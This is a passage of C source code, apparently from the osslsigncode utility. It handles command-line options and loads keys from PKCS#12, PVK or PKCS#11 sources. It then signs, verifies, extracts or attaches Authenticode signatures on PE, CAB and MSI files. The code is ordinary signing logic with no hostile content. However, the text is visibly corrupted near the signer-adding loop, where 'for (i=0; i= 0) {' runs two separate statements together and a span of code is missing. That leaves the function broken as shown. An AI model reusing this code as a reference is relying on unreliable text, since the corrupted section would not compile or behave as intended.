available\"\n#endif\n\t\t\t );\n\t\t\tprintf(\n#ifdef WITH_GSF\n\t\t\t\t \"\\tlibgsf %d.%d.%d\\n\",\n\t\t\t\t libgsf_major_version,\n\t\t\t\t libgsf_minor_version,\n\t\t\t\t libgsf_micro_version\n#else\n\t\t\t\t \"\\tno libgsf available\\n\"\n#endif\n\t\t\t\t);\n\t\t\tprintf(\"\\nPlease send bug-reports to \"\n\t\t\t\t PACKAGE_BUGREPORT\n\t\t\t\t \"\\n\\n\");\n\n\t\t} else if (!strcmp(*argv, \"-jp\")) {\n\t\t\tchar *ap;\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tap = *(++argv);\n\t\t\tfor (i=0; ap[i]; i++) ap[i] = tolower((int)ap[i]);\n\t\t\tif (!strcmp(ap, \"low\")) {\n\t\t\t\tjp = 0;\n\t\t\t} else if (!strcmp(ap, \"medium\")) {\n\t\t\t\tjp = 1;\n\t\t\t} else if (!strcmp(ap, \"high\")) {\n\t\t\t\tjp = 2;\n\t\t\t}\n\t\t\tif (jp != 0) usage(argv0); /* XXX */\n\t\t} else {\n\t\t\tfailarg = *argv;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (!infile && argc > 0) {\n\t\tinfile = *(argv++);\n\t\targc--;\n\t}\n\n\tif (cmd != CMD_VERIFY && (!outfile && argc > 0)) {\n\t\tif (!strcmp(*argv, \"-out\")) {\n\t\t\targv++;\n\t\t\targc--;\n\t\t}\n\t\tif (argc > 0) {\n\t\t\toutfile = *(argv++);\n\t\t\targc--;\n\t\t}\n\t}\n\n\tif (argc > 0 || (nturl && ntsurl) || !infile ||\n\t\t(cmd != CMD_VERIFY && !outfile) ||\n\t\t(cmd == CMD_SIGN && !((certfile && keyfile) || pkcs12file || (p11engine && p11module)))) {\n\t\tif (failarg)\n\t\t\tfprintf(stderr, \"Unknown option: %s\\n\", failarg);\n\t\tusage(argv0);\n\t}\n\n\tif (readpass) {\n\t\tchar passbuf[4096];\n\t\tint passfd = open(readpass, O_RDONLY);\n\t\tif (passfd < 0)\n\t\t\tDO_EXIT_1(\"Failed to open password file: %s\\n\", readpass);\n\t\tint passlen = read(passfd, passbuf, sizeof(passbuf)-1);\n\t\tclose(passfd);\n\t\tif (passlen <= 0)\n\t\t\tDO_EXIT_1(\"Failed to read password from file: %s\\n\", readpass);\n\t\tpassbuf[passlen] = 0x00;\n\t\tpass = strdup(passbuf);\n\t\tmemset(passbuf, 0, sizeof(passbuf));\n#ifdef PROVIDE_ASKPASS\n\t} else if (askpass) {\n\t\tpass = getpassword(\"Password: \");\n#endif\n\t}\n\n\tif (cmd == CMD_SIGN) {\n\t\t/* Read certificate and key */\n\t\tif (keyfile && !p11engine && (btmp = BIO_new_file(keyfile, \"rb\")) != NULL) {\n\t\t\tunsigned char magic[4];\n\t\t\tunsigned char pvkhdr[4] = { 0x1e, 0xf1, 0xb5, 0xb0 };\n\t\t\tmagic[0] = 0x00;\n\t\t\tBIO_read(btmp, magic, 4);\n\t\t\tif (!memcmp(magic, pvkhdr, 4)) {\n\t\t\t\tpvkfile = keyfile;\n\t\t\t\tkeyfile = NULL;\n\t\t\t}\n\t\t\tBIO_free(btmp);\n\t\t}\n\n\t\tif (pkcs12file != NULL) {\n\t\t\tif ((btmp = BIO_new_file(pkcs12file, \"rb\")) == NULL ||\n\t\t\t\t(p12 = d2i_PKCS12_bio(btmp, NULL)) == NULL)\n\t\t\t\tDO_EXIT_1(\"Failed to read PKCS#12 file: %s\\n\", pkcs12file);\n\t\t\tBIO_free(btmp);\n\t\t\tif (!PKCS12_parse(p12, pass ? pass : \"\", &pkey, &cert, &certs))\n\t\t\t\tDO_EXIT_1(\"Failed to parse PKCS#12 file: %s (Wrong password?)\\n\", pkcs12file);\n\t\t\tPKCS12_free(p12);\n\t\t} else if (pvkfile != NULL) {\n#if OPENSSL_VERSION_NUMBER > 0x10000000\n\t\t\tif ((btmp = BIO_new_file(certfile, \"rb\")) == NULL ||\n\t\t\t\t((p7 = d2i_PKCS7_bio(btmp, NULL)) == NULL &&\n\t\t\t\t (certs = PEM_read_certs(btmp, \"\")) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read certificate file: %s\\n\", certfile);\n\t\t\tBIO_free(btmp);\n\t\t\tif ((btmp = BIO_new_file(pvkfile, \"rb\")) == NULL ||\n\t\t\t\t( (pkey = b2i_PVK_bio(btmp, NULL, pass ? pass : \"\")) == NULL &&\n\t\t\t\t (BIO_seek(btmp, 0) == 0) &&\n\t\t\t\t (pkey = b2i_PVK_bio(btmp, NULL, NULL)) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read PVK file: %s\\n\", pvkfile);\n\t\t\tBIO_free(btmp);\n#else\n\t\t\tDO_EXIT_1(\"Can not read keys from PVK files, must compile against a newer version of OpenSSL: %s\\n\", pvkfile);\n#endif\n\t\t} else if (p11engine != NULL && p11module != NULL) {\n\t\t\tconst int CMD_MANDATORY = 0;\n\t\t\tENGINE_load_dynamic();\n\t\t\tENGINE * dyn = ENGINE_by_id( \"dynamic\" );\n\t\t\tif ( ! dyn )\n\t\t\t\tDO_EXIT_0( \"Failed to load 'dynamic' engine\");\n\t\t\tif ( 1 != ENGINE_ctrl_cmd_string( dyn, \"SO_PATH\", p11engine, CMD_MANDATORY ) )\n\t\t\t\tDO_EXIT_1( \"Failed to set dyn SO_PATH to '%s'\", p11engine);\n\n\t\t\tif ( 1 != ENGINE_ctrl_cmd_string( dyn, \"ID\", \"pkcs11\", CMD_MANDATORY ) )\n\t\t\t\tDO_EXIT_0( \"Failed to set dyn ID to 'pkcs11'\" );\n\n\t\t\tif ( 1 != ENGINE_ctrl_cmd( dyn, \"LIST_ADD\", 1, NULL, NULL, CMD_MANDATORY ) )\n\t\t\t\tDO_EXIT_0( \"Failed to set dyn LIST_ADD to '1'\" );\n\n\t\t\tif ( 1 != ENGINE_ctrl_cmd( dyn, \"LOAD\", 1, NULL, NULL, CMD_MANDATORY ) )\n\t\t\t\tDO_EXIT_0( \"Failed to set dyn LOAD to '1'\" );\n\n\t\t\tENGINE * pkcs11 = ENGINE_by_id( \"pkcs11\" );\n\t\t\tif ( ! pkcs11 )\n\t\t\t\tDO_EXIT_0( \"Failed to find and load pkcs11 engine\" );\n\n\t\t\tif ( 1 != ENGINE_ctrl_cmd_string( pkcs11, \"MODULE_PATH\", p11module, CMD_MANDATORY ) )\n\t\t\t\tDO_EXIT_1( \"Failed to set pkcs11 engine MODULE_PATH to '%s'\", p11module );\n\t\t\n\t\t\tif (pass != NULL) {\n\t\t\t\tif ( 1 != ENGINE_ctrl_cmd_string( pkcs11, \"PIN\", pass, CMD_MANDATORY ) )\n\t\t\t\t\tDO_EXIT_0( \"Failed to set pkcs11 PIN\" );\n\t\t\t}\n\n\t\t\tif ( 1 != ENGINE_init( pkcs11 ) )\n\t\t\t\tDO_EXIT_0( \"Failed to initialized pkcs11 engine\" );\n\n\t\t\tpkey = ENGINE_load_private_key( pkcs11, keyfile, NULL, NULL );\n\t\t\tif (pkey == NULL)\n\t\t\t\tDO_EXIT_1(\"Failed to load private key %s\", keyfile);\n\t\t\tif ((btmp = BIO_new_file(certfile, \"rb\")) == NULL ||\n\t\t\t\t((p7 = d2i_PKCS7_bio(btmp, NULL)) == NULL &&\n\t\t\t\t (certs = PEM_read_certs(btmp, \"\")) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read certificate file: %s\\n\", certfile);\n\t\t\tBIO_free(btmp);\n\t\t} else {\n\t\t\tif ((btmp = BIO_new_file(certfile, \"rb\")) == NULL ||\n\t\t\t\t((p7 = d2i_PKCS7_bio(btmp, NULL)) == NULL &&\n\t\t\t\t (certs = PEM_read_certs(btmp, \"\")) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read certificate file: %s\\n\", certfile);\n\t\t\tBIO_free(btmp);\n\t\t\tif ((btmp = BIO_new_file(keyfile, \"rb\")) == NULL ||\n\t\t\t\t( (pkey = d2i_PrivateKey_bio(btmp, NULL)) == NULL &&\n\t\t\t\t (BIO_seek(btmp, 0) == 0) &&\n\t\t\t\t (pkey = PEM_read_bio_PrivateKey(btmp, NULL, NULL, pass ? pass : \"\")) == NULL &&\n\t\t\t\t (BIO_seek(btmp, 0) == 0) &&\n\t\t\t\t (pkey = PEM_read_bio_PrivateKey(btmp, NULL, NULL, NULL)) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read private key file: %s (Wrong password?)\\n\", keyfile);\n\t\t\tBIO_free(btmp);\n\t\t}\n\n\t\tif (xcertfile) {\n\t\t\tif ((btmp = BIO_new_file(xcertfile, \"rb\")) == NULL ||\n\t\t\t\t((p7x = d2i_PKCS7_bio(btmp, NULL)) == NULL &&\n\t\t\t\t (xcerts = PEM_read_certs(btmp, \"\")) == NULL))\n\t\t\t\tDO_EXIT_1(\"Failed to read cross certificate file: %s\\n\", xcertfile);\n\t\t\tBIO_free(btmp);\n\t\t}\n\n\t\tif (pass) {\n\t\t\tmemset (pass, 0, strlen(pass));\n\t\t\tpass = NULL;\n\t }\n\t}\n\n\tif (certs == NULL && p7 != NULL)\n\t\tcerts = p7->d.sign->cert;\n\n\t/* Check if indata is cab or pe */\n\tfilesize = get_file_size(infile);\n\tif (filesize == 0)\n\t\tgoto err_cleanup;\n\n\tindata = map_file(infile, filesize);\n\tif (indata == NULL)\n\t\tDO_EXIT_1(\"Failed to open file: %s\\n\", infile);\n\n\tfileend = filesize;\n\n\tif (!memcmp(indata, \"MSCF\", 4)) {\n\t\ttype = FILE_TYPE_CAB;\n\t} else if (!memcmp(indata, \"MZ\", 2)) {\n\t\ttype = FILE_TYPE_PE;\n\t} else if (!memcmp(indata, msi_signature, sizeof(msi_signature))) {\n\t\ttype = FILE_TYPE_MSI;\n#ifdef WITH_GSF\n\t\tgsf_init();\n\t\tgsf_initialized = 1;\n#endif\n\t} else {\n\t\tDO_EXIT_1(\"Unrecognized file type: %s\\n\", infile);\n\t}\n\n\tif (cmd != CMD_SIGN && !(type == FILE_TYPE_PE || type == FILE_TYPE_MSI))\n\t\tDO_EXIT_1(\"Command is not supported for non-PE/non-MSI files: %s\\n\", infile);\n\n\thash = BIO_new(BIO_f_md());\n\tBIO_set_md(hash, md);\n\n\tif (type == FILE_TYPE_CAB) {\n\t\tif (filesize < 44)\n\t\t\tDO_EXIT_1(\"Corrupt cab file - too short: %s\\n\", infile);\n\t\tif (indata[0x1e] != 0x00 || indata[0x1f] != 0x00)\n\t\t\tDO_EXIT_0(\"Cannot sign cab files with flag bits set!\\n\"); /* XXX */\n\t} else if (type == FILE_TYPE_PE) {\n\t\tif (filesize < 64)\n\t\t\tDO_EXIT_1(\"Corrupt DOS file - too short: %s\\n\", infile);\n\t\tpeheader = GET_UINT32_LE(indata+60);\n\t\tif (filesize < peheader + 160)\n\t\t\tDO_EXIT_1(\"Corrupt PE file - too short: %s\\n\", infile);\n\t\tif (memcmp(indata+peheader, \"PE\\0\\0\", 4))\n\t\t\tDO_EXIT_1(\"Unrecognized DOS file type: %s\\n\", infile);\n\t} else if (type == FILE_TYPE_MSI) {\n#ifdef WITH_GSF\n\t\tGsfInput *src;\n\t\tGsfInfile *ole;\n\n\t\tBIO_push(hash, BIO_new(BIO_s_null()));\n\n\t\tsrc = gsf_input_stdio_new(infile, NULL);\n\t\tif (!src)\n\t\t\tDO_EXIT_1(\"Error opening file %s\", infile);\n\t\tole = gsf_infile_msole_new(src, NULL);\n\n\t\tif (cmd == CMD_EXTRACT) {\n\t\t\tif(output_pkcs7) {\n\t\t\t\tsig = msi_extract_signature_to_pkcs7(ole);\n\t\t\t\tif (!sig)\n\t\t\t\t\tDO_EXIT_0(\"Unable to extract existing signature.\");\n\t\t\t\toutdata = BIO_new_file(outfile, \"w+b\");\n\t\t\t\tif (outdata == NULL)\n\t\t\t\t\tDO_EXIT_1(\"Unable to open %s\\n\\n\", outfile);\n\t\t\t\tret = !PEM_write_bio_PKCS7(outdata, sig);\n\t\t\t\tBIO_free_all(outdata);\n\t\t\t}\n\t\t\telse\n\t\t\t\tret = msi_extract_signature_to_file(ole, outfile);\n\t\t\tgoto skip_signing;\n\t\t} else if (cmd == CMD_VERIFY) {\n\t\t\tret = msi_verify_file(ole, leafhash);\n\t\t\tgoto skip_signing;\n\t\t} else if (cmd == CMD_SIGN || cmd == CMD_ADD || cmd == CMD_ATTACH) {\n\t\t\t\tif (nest || cmd == CMD_ADD) {\n\t\t\t\t// Perform a sanity check for the MsiDigitalSignatureEx section.\n\t\t\t\t// If the file we're attempting to sign has an MsiDigitalSignatureEx\n\t\t\t\t// section, we can't add a nested signature of a different MD type\n\t\t\t\t// without breaking the initial signature.\n\t\t\t\t{\n\t\t\t\t\tunsigned long dselen = 0;\n\t\t\t\t\tint has_dse = 0;\n\t\t\t\t\tif (msi_extract_dse(ole, NULL, &dselen, &has_dse) != 0 && has_dse) {\n\t\t\t\t\t\tDO_EXIT_0(\"Unable to extract MsiDigitalSigantureEx section.\\n\");\n\t\t\t\t\t}\n\t\t\t\t\tif (has_dse) {\n\t\t\t\t\t\tint mdlen = EVP_MD_size(md);\n\t\t\t\t\t\tif (dselen != (unsigned long)mdlen) {\n\t\t\t\t\t\t\tDO_EXIT_0(\"Unable to add nested signature with a different MD type (-h parameter) \"\n\t\t\t\t\t\t\t \"than what exists in the MSI file already. This is due to the presence of \"\n\t\t\t\t\t\t\t \"MsiDigitalSigantureEx (-add-msi-dse parameter).\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcursig = msi_extract_signature_to_pkcs7(ole);\n\t\t\t\tif (cursig == NULL) {\n\t\t\t\t\tDO_EXIT_0(\"Unable to extract existing signature in -nest mode\");\n\t\t\t\t}\n\t\t\t\tif (cmd == CMD_ADD) {\n\t\t\t\t\tsig = cursig;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tsink = gsf_output_stdio_new(outfile, NULL);\n\t\tif (!sink)\n\t\t\tDO_EXIT_1(\"Error opening output file %s\", outfile);\n\t\toutole = gsf_outfile_msole_new(sink);\n\n\t\t/*\n\t\t * MsiDigitalSignatureEx is an enhanced signature type that\n\t\t * can be used when signing MSI files. In addition to\n\t\t * file content, it also hashes some file metadata, specifically\n\t\t * file names, file sizes, creation times and modification times.\n\t\t *\n\t\t * The file content hashing part stays the same, so the\n\t\t * msi_handle_dir() function can be used across both variants.\n\t\t *\n\t\t * When an MsiDigitalSigntaureEx section is present in an MSI file,\n\t\t * the meaning of the DigitalSignature section changes: Instead\n\t\t * of being merely a file content hash (as what is output by the\n\t\t * msi_handle_dir() function), it is now hashes both content\n\t\t * and metadata.\n\t\t *\n\t\t * Here is how it works:\n\t\t *\n\t\t * First, a \"pre-hash\" is calculated. This is the \"metadata\" hash.\n\t\t * It iterates over the files in the MSI in the same order as the\n\t\t * file content hashing method would - but it only processes the\n\t\t * metadata.\n\t\t * \n\t\t * Once the pre-hash is calculated, a new hash is created for\n\t\t * calculating the hash of the file content. The output of the\n\t\t * pre-hash is added as the first element of the file content hash. \n\t\t *\n\t\t * After the pre-hash is written, what follows is the \"regular\"\n\t\t * stream of data that would normally be written when performing\n\t\t * file content hashing.\n\t\t *\n\t\t * The output of this hash, which combines both metadata and file\n\t\t * content, is what will be output in signed form to the\n\t\t * DigitalSignature section when in 'MsiDigitalSignatureEx' mode.\n\t\t *\n\t\t * As mentioned previously, this new mode of operation is signalled\n\t\t * by the presence of a 'MsiDigitalSignatureEx' section in the MSI\n\t\t * file. This section must come after the 'DigitalSignature'\n\t\t * section, and its content must be the output of the pre-hash\n\t\t * (\"metadata\") hash.\n\t\t */\n\t\tif (add_msi_dse) {\n\t\t\tBIO *prehash = BIO_new(BIO_f_md());\n\t\t\tBIO_set_md(prehash, md);\n\t\t\tBIO_push(prehash, BIO_new(BIO_s_null()));\n\n\t\t\tif (!msi_prehash(ole, NULL, prehash))\n\t\t\t\tDO_EXIT_0(\"unable to calculate MSI pre-hash ('metadata') hash.\\n\");\n\n\t\t\tp_msiex = malloc(EVP_MAX_MD_SIZE);\n\t\t\tlen_msiex = BIO_gets(prehash, (char*)p_msiex, EVP_MAX_MD_SIZE);\n\n\t\t\tBIO_write(hash, p_msiex, len_msiex);\n\t\t}\n\n\t\tif (!msi_handle_dir(ole, outole, hash)) {\n\t\t\tDO_EXIT_0(\"unable to msi_handle_dir()\\n\");\n\t\t}\n\n\t\tif (cmd == CMD_REMOVE) {\n\t\t\tgsf_output_close(GSF_OUTPUT(outole));\n\t\t\tg_object_unref(sink);\n\t\t}\n#else\n\t\tDO_EXIT_1(\"libgsf is not available, msi support is disabled: %s\\n\", infile);\n#endif\n\t}\n\n\tif (type == FILE_TYPE_CAB || type == FILE_TYPE_PE) {\n\t\tif (cmd != CMD_VERIFY) {\n\t\t\t/* Create outdata file */\n\t\t\toutdata = BIO_new_file(outfile, \"w+b\");\n\t\t\tif (outdata == NULL)\n\t\t\t\tDO_EXIT_1(\"Failed to create file: %s\\n\", outfile);\n\t\t\tBIO_push(hash, outdata);\n\t\t}\n\t}\n\n\tif (type == FILE_TYPE_CAB) {\n\t\tunsigned short nfolders;\n\n\t\tu_char cabsigned[] = {\n\t\t\t0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,\n\t\t\t0xde, 0xad, 0xbe, 0xef, /* size of cab file */\n\t\t\t0xde, 0xad, 0xbe, 0xef, /* size of asn1 blob */\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n\t\t};\n\n\t\tBIO_write(hash, indata, 4);\n\t\tBIO_write(outdata, indata+4, 4);\n\n\t\ttmp = GET_UINT32_LE(indata+8) + 24;\n\t\tPUT_UINT32_LE(tmp, buf);\n\t\tBIO_write(hash, buf, 4);\n\n\t\tBIO_write(hash, indata+12, 4);\n\n\t\ttmp = GET_UINT32_LE(indata+16) + 24;\n\t\tPUT_UINT32_LE(tmp, buf+4);\n\t\tBIO_write(hash, buf+4, 4);\n\n\t\tmemcpy(buf+4, indata+20, 14);\n\t\tbuf[4+10] = 0x04; /* RESERVE_PRESENT */\n\n\t\tBIO_write(hash, buf+4, 14);\n\t\tBIO_write(outdata, indata+34, 2);\n\n\t\tmemcpy(cabsigned+8, buf, 4);\n\t\tBIO_write(outdata, cabsigned, 20);\n\t\tBIO_write(hash, cabsigned+20, 4); /* ??? or possibly the previous 4 bytes instead? */\n\n\t\tnfolders = indata[26] | (indata[27] << 8);\n\t\tfor (i = 36; nfolders; nfolders--, i+=8) {\n\t\t\ttmp = GET_UINT32_LE(indata+i);\n\t\t\ttmp += 24;\n\t\t\tPUT_UINT32_LE(tmp, buf);\n\t\t\tBIO_write(hash, buf, 4);\n\t\t\tBIO_write(hash, indata+i+4, 4);\n\t\t}\n\n\t\t/* Write what's left */\n\t\tBIO_write(hash, indata+i, filesize-i);\n\t} else if (type == FILE_TYPE_PE) {\n\t\tunsigned int sigpos, siglen, nrvas;\n\t\tunsigned short magic;\n\n\t\tif (jp >= 0)\n\t\t\tfprintf(stderr, \"Warning: -jp option is only valid \"\n\t\t\t\t\t\"for CAB files.\\n\");\n\n\t\tmagic = GET_UINT16_LE(indata + peheader + 24);\n\t\tif (magic == 0x20b) {\n\t\t\tpe32plus = 1;\n\t\t} else if (magic == 0x10b) {\n\t\t\tpe32plus = 0;\n\t\t} else {\n\t\t\tDO_EXIT_2(\"Corrupt PE file - found unknown magic %x: %s\\n\", magic, infile);\n\t\t}\n\n\t\tnrvas = GET_UINT32_LE(indata + peheader + 116 + pe32plus*16);\n\t\tif (nrvas < 5)\n\t\t\tDO_EXIT_1(\"Can not handle PE files without certificate table resource: %s\\n\", infile);\n\n\t\tsigpos = GET_UINT32_LE(indata + peheader + 152 + pe32plus*16);\n\t\tsiglen = GET_UINT32_LE(indata + peheader + 152 + pe32plus*16 + 4);\n\n\t\t/* Since fix for MS Bulletin MS12-024 we can really assume\n\t\t that signature should be last part of file */\n\t\tif (sigpos > 0 && sigpos + siglen != filesize)\n\t\t\tDO_EXIT_1(\"Corrupt PE file - current signature not at end of file: %s\\n\", infile);\n\n\t\tif ((cmd == CMD_REMOVE || cmd == CMD_EXTRACT) && sigpos == 0)\n\t\t\tDO_EXIT_1(\"PE file does not have any signature: %s\\n\", infile);\n\n\t\tif (cmd == CMD_EXTRACT) {\n\t\t\t/* A lil' bit of ugliness. Reset stream, write signature and skip forward */\n\t\t\t(void)BIO_reset(outdata);\n\t\t\tif(output_pkcs7) {\n\t\t\t\tsig = extract_existing_pe_pkcs7(indata, peheader, pe32plus, sigpos ? sigpos : fileend, siglen);\n\t\t\t\tif (!sig)\n\t\t\t\t\tDO_EXIT_0(\"Unable to extract existing signature.\");\n\t\t\t\tPEM_write_bio_PKCS7(outdata, sig);\n\t\t\t}\n\t\t\telse\n\t\t\t\tBIO_write(outdata, indata + sigpos, siglen);\n\t\t\tgoto skip_signing;\n\t\t}\n\n\t\tif ((cmd == CMD_SIGN && nest) || (cmd == CMD_ATTACH && nest) || cmd == CMD_ADD) {\n\t\t\tcursig = extract_existing_pe_pkcs7(indata, peheader, pe32plus, sigpos ? sigpos : fileend, siglen);\n\t\t\tif (cursig == NULL) {\n\t\t\t\tDO_EXIT_0(\"Unable to extract existing signature in -nest mode\");\n\t\t\t}\n\t\t\tif (cmd == CMD_ADD) {\n\t\t\t\tsig = cursig;\n\t\t\t}\n\t\t}\n\n\t\tif (cmd == CMD_VERIFY) {\n\t\t\tret = verify_pe_file(indata, peheader, pe32plus, sigpos ? sigpos : fileend, siglen, leafhash);\n\t\t\tgoto skip_signing;\n\t\t}\n\n\t\tif (sigpos > 0) {\n\t\t\t/* Strip current signature */\n\t\t\tfileend = sigpos;\n\t\t}\n\n\t\tBIO_write(hash, indata, peheader + 88);\n\t\ti = peheader + 88;\n\t\tmemset(buf, 0, 4);\n\t\tBIO_write(outdata, buf, 4); /* zero out checksum */\n\t\ti += 4;\n\t\tBIO_write(hash, indata + i, 60+pe32plus*16);\n\t\ti += 60+pe32plus*16;\n\t\tmemset(buf, 0, 8);\n\t\tBIO_write(outdata, buf, 8); /* zero out sigtable offset + pos */\n\t\ti += 8;\n\n\t\tBIO_write(hash, indata + i, fileend - i);\n\n\t\t/* pad (with 0's) pe file to 8 byte boundary */\n\t\tlen = 8 - fileend % 8;\n\t\tif (len > 0 && len != 8) {\n\t\t\tmemset(buf, 0, len);\n\t\t\tBIO_write(hash, buf, len);\n\t\t\tfileend += len;\n\t\t}\n\t}\n\n\tif (cmd == CMD_ADD)\n\t\tgoto add_only;\n\n\tif(cmd == CMD_ATTACH)\n\t{\n\t\tconst char pemhdr[] = \"-----BEGIN PKCS7-----\";\n\t\tsigfilesize = get_file_size(sigfile);\n\t\tif(!sigfilesize)\n\t\t\tgoto err_cleanup;\n\t\tinsigdata = map_file(sigfile, sigfilesize);\n\t\tif (insigdata == NULL)\n\t\t\tDO_EXIT_1(\"Failed to open file: %s\\n\", infile);\n\n\t\tif (sigfilesize >= sizeof(pemhdr) && !memcmp(insigdata, pemhdr, sizeof(pemhdr)-1))\n\t\t{\n\t\t\tsigbio = BIO_new_mem_buf(insigdata, sigfilesize);\n\t\t\tsig = PEM_read_bio_PKCS7(sigbio, NULL, NULL, NULL);\n\t\t\tBIO_free_all(sigbio);\n\t\t}\n\t\telse {\n\t\t\tif (type == FILE_TYPE_PE) {\n\t\t\t\tsig = extract_existing_pe_pkcs7(insigdata, peheader, pe32plus, 0, sigfilesize);\n\t\t\t}\n\t\t\telse if (type == FILE_TYPE_MSI) {\n#ifdef WITH_GSF\n\t\t\t\tconst unsigned char *p = (unsigned char*)insigdata;\n\t\t\t\tsig = d2i_PKCS7(NULL, &p, sigfilesize);\n#else\n\t DO_EXIT_1(\"libgsf is not available, msi support is disabled: %s\\n\", infile);\n#endif\n\t\t\t}\n\t\t}\n\t\tif (!sig)\n\t\t\tDO_EXIT_0(\"No valid signature found.\");\n\t\tgoto add_only;\n\t}\n\n\tif (cmd != CMD_SIGN)\n\t\tgoto skip_signing;\n\n\tsig = PKCS7_new();\n\tPKCS7_set_type(sig, NID_pkcs7_signed);\n\n\tsi = NULL;\n\tif (cert != NULL)\n\t\tsi = PKCS7_add_signature(sig, cert, pkey, md);\n\tif (si == NULL) {\n\t\tfor (i=0; i= 0) {\n\t\tconst u_char *attrs = NULL;\n\t\tstatic const u_char java_attrs_low[] = {\n\t\t\t0x30, 0x06, 0x03, 0x02, 0x00, 0x01, 0x30, 0x00\n\t\t};\n\n\t\tswitch (jp) {\n\t\t\tcase 0:\n\t\t\t\tattrs = java_attrs_low;\n\t\t\t\tlen = sizeof(java_attrs_low);\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\t/* XXX */\n\t\t\tcase 2:\n\t\t\t\t/* XXX */\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif (attrs) {\n\t\t\tastr = ASN1_STRING_new();\n\t\t\tASN1_STRING_set(astr, attrs, len);\n\t\t\tPKCS7_add_signed_attribute\n\t\t\t\t(si, OBJ_txt2nid(SPC_MS_JAVA_SOMETHING),\n\t\t\t\t V_ASN1_SEQUENCE, astr);\n\t\t}\n\t}\n\n\tastr = ASN1_STRING_new();\n\tif (comm) {\n\t\tASN1_STRING_set(astr, purpose_comm, sizeof(purpose_comm));\n\t} else {\n\t\tASN1_STRING_set(astr, purpose_ind, sizeof(purpose_ind));\n\t}\n\tPKCS7_add_signed_attribute(si, OBJ_txt2nid(SPC_STATEMENT_TYPE_OBJID),\n\t\t\t\t\t\t\t V_ASN1_SEQUENCE, astr);\n\n\tif (desc || url) {\n\t\tSpcSpOpusInfo *opus = createOpus(desc, url);\n\t\tif ((len = i2d_SpcSpOpusInfo(opus, NULL)) <= 0 ||\n\t\t\t(p = OPENSSL_malloc(len)) == NULL)\n\t\t\tDO_EXIT_0(\"Couldn't allocate memory for opus info\\n\");\n\t\ti2d_SpcSpOpusInfo(opus, &p);\n\t\tp -= len;\n\t\tastr = ASN1_STRING_new();\n\t\tASN1_STRING_set(astr, p, len);\n\t\tOPENSSL_free(p);\n\n\t\tPKCS7_add_signed_attribute(si, OBJ_txt2nid(SPC_SP_OPUS_INFO_OBJID),\n\t\t\t\t\t\t\t\t V_ASN1_SEQUENCE, astr);\n\n\t\tSpcSpOpusInfo_free(opus);\n\t}\n\n\tPKCS7_content_new(sig, NID_pkcs7_data);\n\n\tif (cert != NULL) {\n\t\tPKCS7_add_certificate(sig, cert);\n\t\tX509_free(cert);\n\t\tcert = NULL;\n\t}\n\tif (xcerts) {\n\t\tfor(i = sk_X509_num(xcerts)-1; i>=0; i--)\n\t\t\tPKCS7_add_certificate(sig, sk_X509_value(xcerts, i));\n\t}\n\tfor(i = sk_X509_num(certs)-1; i>=0; i--)\n\t\tPKCS7_add_certificate(sig, sk_X509_value(certs, i));\n\n\tif (p7 == NULL || certs != p7->d.sign->cert) {\n\t\tsk_X509_free(certs);\n\t\tcerts = NULL;\n\t}\n\tif (p7) {\n\t\tPKCS7_free(p7);\n\t\tp7 = NULL;\n\t}\n\tif (xcerts) {\n\t\tsk_X509_free(xcerts);\n\t\txcerts = NULL;\n\t}\n\tif (p7x) {\n\t\tPKCS7_free(p7x);\n\t\tp7x = NULL;\n\t}\n\n\tget_indirect_data_blob(&p, &len, md, type, pagehash, indata, peheader, pe32plus, fileend);\n\tlen -= EVP_MD_size(md);\n\tmemcpy(buf, p, len);\n\tOPENSSL_free(p);\n\tunsigned char mdbuf[EVP_MAX_MD_SIZE];\n\tint mdlen = BIO_gets(hash, (char*)mdbuf, EVP_MAX_MD_SIZE);\n\tmemcpy(buf+len, mdbuf, mdlen);\n\tint seqhdrlen = asn1_simple_hdr_len((unsigned char*)buf, len);\n\n\tif ((sigbio = PKCS7_dataInit(sig, NULL)) == NULL)\n\t\tDO_EXIT_0(\"Signing failed(PKCS7_dataInit)\\n\");\n\tBIO_write(sigbio, buf+seqhdrlen, len-seqhdrlen+mdlen);\n\t(void)BIO_flush(sigbio);\n\n\tif (!PKCS7_dataFinal(sig, sigbio))\n\t\tDO_EXIT_0(\"Signing failed(PKCS7_dataFinal)\\n\");\n\tBIO_free_all(sigbio);\n\n\t/* replace the data part with the MS Authenticode\n\t spcIndirectDataContext blob */\n\tPKCS7 *td7 = PKCS7_new();\n\ttd7->type = OBJ_txt2obj(SPC_INDIRECT_DATA_OBJID, 1);\n\ttd7->d.other = ASN1_TYPE_new();\n\ttd7->d.other->type = V_ASN1_SEQUENCE;\n\ttd7->d.other->value.sequence = ASN1_STRING_new();\n\tASN1_STRING_set(td7->d.other->value.sequence, buf, len+mdlen);\n\tPKCS7_set_content(sig, td7);\n\nadd_only:\n\n#ifdef ENABLE_CURL\n\t/* add counter-signature/timestamp */\n\tif (nturl && add_timestamp_authenticode(sig, turl, nturl, proxy, noverifypeer))\n\t\tDO_EXIT_0(\"authenticode timestamping failed\\n\");\n\tif (ntsurl && add_timestamp_rfc3161(sig, tsurl, ntsurl, proxy, md, noverifypeer))\n\t\tDO_EXIT_0(\"RFC 3161 timestamping failed\\n\");\n#endif\n\n\tif (addBlob && add_unauthenticated_blob(sig))\n\t\tDO_EXIT_0(\"Adding unauthenticated blob failed\\n\");\n\n\n#if 0\n\tif (!PEM_write_PKCS7(stdout, sig))\n\t\tDO_EXIT_0(\"PKCS7 output failed\\n\");\n#endif\n\n\tif (nest) {\n\t\tif (cursig == NULL) {\n\t\t\tDO_EXIT_0(\"no 'cursig' was extracted. this points to a bug in the code. aborting...\\n\")\n\t\t}\n\t\tif (pkcs7_set_nested_signature(cursig, sig) == 0)\n\t\t\tDO_EXIT_0(\"unable to append 